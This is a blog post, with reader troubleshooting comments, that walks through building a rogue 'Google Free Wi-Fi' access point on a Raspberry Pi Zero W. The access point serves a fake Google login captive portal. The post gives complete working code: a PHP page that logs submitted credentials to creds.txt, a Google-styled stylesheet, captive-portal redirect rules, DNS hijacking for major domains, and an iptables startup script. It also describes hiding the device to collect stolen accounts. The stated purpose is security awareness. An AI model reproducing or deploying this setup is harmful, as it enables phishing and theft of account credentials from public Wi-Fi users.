Monday, June 12, 2017

Building a Rogue Captive Portal for Raspberry Pi Zero W

I undertook this project as part of a presentation on wireless security and the various attack vectors that pose a threat to users of public wi-fi networks. The goal of this post is to walk through the process of building a rogue wireless access point that serves a captive portal with an authentic-looking Google login screen. Such a device can be used to steal login credentials to victims' Google accounts with minimal effort.

My intent is to demonstrate how easy it is to create a malicious access point so that wi-fi users will be aware of the danger, consider how to detect and avoid falling victim to such an attack, and hopefully take proactive steps to avoid being taken advantage of.

TL;DR

On a fresh install of Raspbian Jessie Lite, clone github.com/braindead-sec/rogue-captive and run install.sh, then reboot. The Pi needs only a power supply and a wireless adapter on wlan0; internet connection is not required.

Components

To complete this build, you will need the following:
  • Raspberry Pi Zero W - though any model Pi will work as long as it has a wireless adapter (built in or connected via USB)
  • Micro SD card - 2GB minimum for Raspbian Jessie Lite
  • HDMI cable and HDMI-compatible monitor or TV
  • USB OTG cable and 2A AC adapter for power
  • Keyboard and micro USB adapter or powered USB hub
  • Wireless internet connection
  • Computer to download Raspbian and install it onto the SD card

Preparation

First, we need to get the Pi up and running. Begin by downloading the latest image of Raspbian Jessie Lite from https://www.raspberrypi.org/downloads/raspbian/


I also recommend that you download and install Etcher from https://etcher.ioYou could use the command-line utility 'dd' on Mac or Linux instead, but Etcher makes the process incredibly simple and has the added bonus of preventing you from accidentally overwriting your primary hard drive.

Insert the SD card in your computer and use Etcher to copy the Raspbian image to the SD card (it will overwrite any data currently on the card). 
Once the image finishes copying, eject the SD card from the computer, plug it into the Pi, connect a keyboard and monitor, and plug in the AC adapter to boot to the standard login prompt. Log in use the default credentials: username pi and password raspberry.
In order to configure the device, we need an internet connection. Type this command to edit the wireless configuration:
sudo nano /etc/wpa_supplicant/wpa_supplicant.conf
Add the following lines, substituting the name of your local access point and its corresponding password:
network={
    ssid="WiFi Network"
    psk="password"
}
Type Ctrl-X, then 'y', then Enter to save and exit. Back at the command line, enter the following command to load the new network configuration:

sudo service networking restart
You can verify that you're connected to the internet by entering this command:
iwconfig
On the left you should see an entry for wlan0, and next to that you should see the name of your wireless access point. If you don't see it, then you're not connected - check your wireless configuration from above and/or restart the Pi (sudo reboot). If that still doesn't work, edit the network interfaces file:
sudo nano /etc/network/interfaces
Make sure it includes the following lines:
auto wlan0
allow-hotplug wlan0
iface wlan0 inet dhcp
wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
Add any lines that are missing, save, and reboot. Now you should be connected to the internet.
Next, we need to install system updates. Enter the following command:
sudo apt-get update && sudo apt-get dist-upgrade -y
When that finishes, restart the Pi:
sudo reboot
Congratulations, you now have a fully up-to-date, functional Pi! On to the fun part...

Installation & Configuration

The quick way

To install and configure all the necessary software to run the rogue access point, all you need to do is install git, download some code from my GitHub page, and run the installer. Here are the commands to do so:
sudo apt-get install git
git clone https://github.com/braindead-sec/rogue-captive
cd rogue-captive
chmod +x install.sh
sudo ./install.sh
sudo reboot
During the installation process, macchanger will ask whether or not it should automatically choose a random MAC address each time an interface is brought up. Choose "No" - another configuration file we install will handle MAC randomization more reliably.
After rebooting, it is probably a good idea to remove the wireless configuration from /etc/wpa_supplicant/wpa_supplicant.conf - you won't need it anymore, and you may not want config files on the Pi pointing to your home network.

If you check with another device, you should now see a wireless access point named "Google Free Wi-Fi" being broadcast by the Pi. Connecting to it will automatically load a captive portal designed to look like the Google login page. Anyone who attempts to log in will find their credentials rejected (and they won't be able to get an internet connection), but the Pi logs the credentials to a file. If you're plugged into a keyboard and monitor, you can monitor the log in real time with this command:
tail -n 0 -f /var/www/html/creds.txt
The beauty of this device is that it doesn't need anything but power in order to do its job. You can plug the Pi into a battery pack, hide it in a box in the corner of a room, and leave it until the battery runs out. Come back to collect the device, pop the SD card into a computer, and dump the contents of creds.txt - with any luck, you'll be the proud owner of a bunch of stolen Google accounts (*not recommended or condoned).

The manual way

To understand how the rogue captive portal works, let's take a look under the hood. Here's how you install and configure the software manually.

First, install the required packages:
sudo apt-get install macchanger hostapd dnsmasq apache2 php5
As mentioned above, tell macchanger "No" when it prompts you to automatically randomize MAC addresses.

The next step is to build the fake Google login page. My approach uses the following parts:
  • index page (HTML & PHP)
  • stylesheet (CSS)
  • Roboto Google font (downloaded from fonts.google.com)
  • Google logo and background image (copied from accounts.google.com)
  • .htaccess to redirect file requests
  • creds.txt (an empty text file)
The index page is pretty simple. Our goal here is not to reproduce all the functionality of the Google login page, but simply to make it look familiar enough not to raise suspicion in the average user. Here's the HTML code for index.php:
<?php
$err = "";
if (!empty($_POST)) {
  $user = $_POST['username'];
  $pass = $_POST['password'];
  file_put_contents('creds.txt',"$user $pass\n",FILE_APPEND);
  $err = "Incorrect username/password. Try again.";
}
?>

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=394">
<title>Sign In - Google Free Wi-Fi</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<form novalidate action="index.php" method="post">
 <img src="google_logo.gif" alt="">
 <h1>Sign in</h1>
 <h2>with your Google Account</h2>
 <input id="user" type="text" name="username" placeholder="Enter your email">
 <input type="password" name="password" placeholder="Enter your password">
 <p class="warning"><?php echo !empty($err)?$err:" ";?></p>
 <p><a href="">More options</a><span class="text-right"><button type="Submit">NEXT</button></span></p>
</form>
<footer>
 English (United States) <img src="caret.gif" alt="">
 <span class="text-right">Help&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Privacy&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Terms</span>
</footer>
<script>document.onload = function() { document.getElementById("user").focus();};</script>
</body>
</html>
The PHP code at the beginning receives POST input from the login form, writes it to a file named creds.txt, and outputs an error message. The javascript at the end simply highlights the username field when the page finishes loading.

We also need a stylesheet, of course, to give the page an appropriate look & feel. Here are the contents of styles.css:
@font-face {
 font-family: 'Roboto';
 src: 
  local('Roboto Regular'),
  local('Roboto-Regular'),
  url('Roboto-Regular.ttf'),
  format('truetype');
}

* {
 margin: 0;
 padding: 0;
}

body {
 background: #fff;
 color: #000;
 font-family: "Arial", sans-serif;
 font-size: 14px;
 font-weight: 300;
 text-align: center;
 padding: 60px 40px;
 height: 100%;
}

form {
 display: block;
 min-height: 380px;
 width: 100%;
 margin: 0 auto 25px auto;
 text-align: left;
}

img { zoom: 50% }

h1 {
 font-family: "Roboto", "Arial", sans-serif;
 font-size: 25px;
 font-weight: 400;
 margin-top: 15px;
 margin-bottom: 5px;
}

h2 {
 font-family: "Roboto", "Arial", sans-serif;
 font-size: 14px;
 font-weight: 400;
 margin-bottom: 70px;
}

p {
 font-family: "Roboto", "Arial", sans-serif;
 font-size: 13px;
 font-weight: 300;
 margin-top: 70px;
}

input {
 display: block;
 width: 100%;
 font-size: 14px;
 font-weight: 300;
 padding: 3px 0;
 margin-top: 30px;
 background: #fff;
 border: none;
 border-bottom: 1px solid #d9d9d9;
 color: #000;
}

input:focus,
select:focus,
textarea:focus,
button:focus {
 outline: none;
}

.warning {
 color: #e50000;
 font-size: 12px;
 text-align: left;
 margin-top: 10px;
}

a, a:hover {
 color: #4d90fe;
 text-decoration: none;
}

button {
 font-size: 13px;
 font-weight: 400;
 border: none;
 border-radius: 3px;
 color: #fff;
 background-color: #4d90fe;
 box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 3px 0px;
 padding: 10px 23px;
 margin-top: -14px;
 cursor: pointer;
}

footer {
 width: 100%;
 margin: 60px auto;
 text-align: left;
 font-size: 12px;
 font-weight: 300;
}

footer span { color: #7e7e7e }
.text-right { float: right }

@media (min-width: 550px) {
 body {
  background: url("google_background.jpg") top left;
 }
 
 form {
  width: 370px;
  background: #fff;
  padding: 60px 40px;
  border-radius: 2px;
  box-shadow: rgba(0, 0, 0, 0.3) 0px 1px 3px 0px;
 }
 
 footer {
  width: 450px;
  margin-top: 25px;
 }
}
Next, we need to configure some special instructions for the Apache web server using a file named .htaccess. When you first connect a device to wi-fi, it immediately sends out a request to check and see if it has internet access. In most cases, it is looking for a very specific response, and if it gets that response, then it determines that the connection is good and it doesn't interfere. If, however, it gets a standard HTTP 200 response with content it wasn't expecting, the device will assume there is a captive portal and display that content automatically. The trick here is to know which files the different devices will ask for so we can redirect them to our login page. Here are all the ones I've found so far (including one that relies on the user agent string):

Redirect /library/test/success.html http://10.1.1.1/index.php
Redirect /hotspot-detect.html http://10.1.1.1/index.php
Redirect /ncsi.txt http://10.1.1.1/index.php
Redirect /connecttest.txt http://10.1.1.1/index.php
Redirect /fwlink/ http://10.1.1.1/index.php
Redirect /generate_204 http://10.1.1.1/index.php
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^CaptiveNetworkSupport(.*)$ [NC]
RewriteRule ^(.*)$ http://10.1.1.1/index.php [L,R=301]
To ensure Apache will follow these rules, we need to configure it appropriately. In Raspbian, this means we need to add a directory rule to allow htaccess overrides, and we also need to enable the rewrite module (the alias module is already enabled by default). First, create the file /etc/apache2/conf-available/override.conf with the following contents:
<Directory /var/www/>
    Options Indexes FollowSymLinks MultiViews
    AllowOverride All
    Order Allow,Deny
    Allow from all
</Directory>
Then run the following commands to enable the override configuration file and the rewrite module:
cd /etc/apache2/conf-enabled
ln -s ../conf-available/override.conf override.conf
cd /etc/apache2/mods-enabled
ln -s ../mods-available/rewrite.load rewrite.load
Now we're in good shape! Drop all these files into /var/www/html so Apache will serve them up, and use these commands to assign the correct ownership:
sudo chown -R www-data:www-data /var/www/html
sudo chown root:www-data /var/www/html/.htaccess 
Next, we configure HostAPD to create a wireless access point. Open its config file for editing:
sudo nano /etc/hostapd/hostapd.conf
The following lines tell HostAPD to create an access point on the interface wlan0, broadcasting on radio channel 6 and using wireless mode G. The name of the access point should be "Google Free Wi-Fi", and it should forward its traffic to a bridge interface named br0. It shouldn't require any authentication, and WMM should be disabled.

interface=wlan0
channel=6
hw_mode=g
ssid=Google Free Wi-Fi
bridge=br0
auth_algs=1
wmm_enabled=0
Next we configure DNSmasq to handle DNS resolution and DHCP for our access point:
sudo nano /etc/dnsmasq.conf
The first couple of lines below tell DNSmasq to listen for traffic on the bridge interface br0 and IP address 10.1.1.1 (which will be the Pi's own address). The DHCP lines allow the Pi to hand out IP addresses to any devices that connect to its access point, and in turn they will treat the Pi as their authoritative gateway to the internet. The "address" lines redirect DNS traffic from several key domains to the Pi's IP address. The first thing a client device does when it connects to wi-fi is try to load a particular domain - this is how it determines whether it has internet access or needs to load a captive portal first. The domain varies depending on the device, so we try to include as many as possible.
interface=br0
listen-address=10.1.1.1
no-hosts
dhcp-range=10.1.1.2,10.1.1.254,72h
dhcp-option=option:router,10.1.1.1
dhcp-authoritative

address=/apple.com/10.1.1.1
address=/appleiphonecell.com/10.1.1.1
address=/airport.us/10.1.1.1
address=/akamaiedge.net/10.1.1.1
address=/akamaitechnologies.com/10.1.1.1
address=/microsoft.com/10.1.1.1
address=/msftncsi.com/10.1.1.1
address=/msftconnecttest.com/10.1.1.1
address=/google.com/10.1.1.1
address=/gstatic.com/10.1.1.1
address=/googleapis.com/10.1.1.1
address=/android.com/10.1.1.1

Almost done now! Next, we write a startup script for the Pi and put it in /etc/rc.local:
#!/bin/bash
service apache2 start
sleep 1
ifconfig wlan0 down
macchanger -A wlan0
ifconfig wlan0 up
sleep 1
hostapd -B /etc/hostapd/hostapd.conf
sleep 2
ifconfig br0 up
ifconfig br0 10.1.1.1 netmask 255.255.255.0
sysctl net.ipv4.ip_forward=1
iptables --flush
iptables -t nat --flush
iptables -t nat -A PREROUTING -i br0 -p udp -m udp --dport 53 -j DNAT --to-destination 10.1.1.1:53
iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 80 -j DNAT --to-destination 10.1.1.1:80
iptables -t nat -A PREROUTING -i br0 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.1.1.1:80
iptables -t nat -A POSTROUTING -j MASQUERADE
service dnsmasq start
exit 0
This script does the following:
  • starts the Apache web server
  • assigns the wireless adapter a random MAC address to obscure its identity
  • starts the HostAPD wireless access point
  • enables the bridge interface
  • assigns the Pi to IP address 10.1.1.1 on the bridge interface
  • enables IP forwarding
  • configures several iptables rules to forward incoming DNS and HTTP traffic to the bridge interface
  • starts the DNSmasq DHCP/DNS server
Don't forget to delete the local network settings from /etc/wpa_supplicant/wpa_supplicant.conf, then you can restart the Pi:
sudo reboot
Voila! When the Pi finishes starting up, check another device and you should see "Google Free Wi-Fi" accepting wireless connections.

Complete code for this project is available at https://github.com/braindead-sec/rogue-captive.

4 comments:

  1. i got these error...
    any suggestions?

    hostapd.conf failed to create interface wlan0:-95 operation not suported

    ReplyDelete
  2. Are you using a Pi Zero W or a different Pi model? What do you get when you run the 'iwconfig' command?

    ReplyDelete
  3. I used i PI zero W with jessie lite

    i tried several times, first i did not used a keyboard but used putty to set up a SSH..

    today i started all over again.. with a fresh SD card.

    after reboot i see the message :
    failed to create interface mon.wlan0:-95 (operation not suported)
    wlan0: could not connect to kernel driver

    iwconfig:

    br0 no wireless extensions

    wlan0 IEE 802.11 Mode:Master Tx-Power=31 dbm
    retry short limit:7 RTS thr:off Fragment thr:off
    Power management: on

    lo no wireless extension

    I can see the wifi hotspot on my phone, but dont see a portal, als in my chrome browser no portal...

    Thanks for you help!




    ReplyDelete
  4. Based on that error, it seems likely that something is using the wifi interface and thus preventing hostapd from using it. Did you remove your wifi connection settings from wpa_supplicant.conf?

    ReplyDelete